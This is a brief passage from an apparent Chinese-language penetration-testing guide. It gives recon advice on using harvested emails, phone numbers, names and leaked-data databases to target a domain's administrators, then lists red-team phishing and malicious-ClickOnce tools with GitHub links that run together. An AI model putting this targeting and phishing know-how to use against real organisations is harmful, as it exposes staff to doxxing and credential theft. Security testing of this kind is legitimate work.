    你只需要輸入要查詢的域名即可:利用以上收集到的郵箱、QQ、電話號碼、姓名、以及服務商,可以針對性進行攻擊,利用社工庫進行查找相關管理員信息,另外也可以對相關 DNS 服務商進行滲透,查看是否有漏洞,利用第三方漏洞平臺,查看相關漏洞。
  • 適用於滲透測試不同階段的工具收集整理
    僅用於滲透測試或教育目的。https://github.com/curi0usJack/luckystrikeClickOnceGenerator:適用於紅隊的快速惡意ClickOnce生成器。https://github.com/ustayready/CredSniperPwnAuth:一個讓組織和滲透測試人員能夠擁有測試其檢測和響應OAuth濫用社會工程活動能力的平臺。https://github.com/fireeye/PwnAuthPhishing Frenzy:一個開源的釣魚測試工具。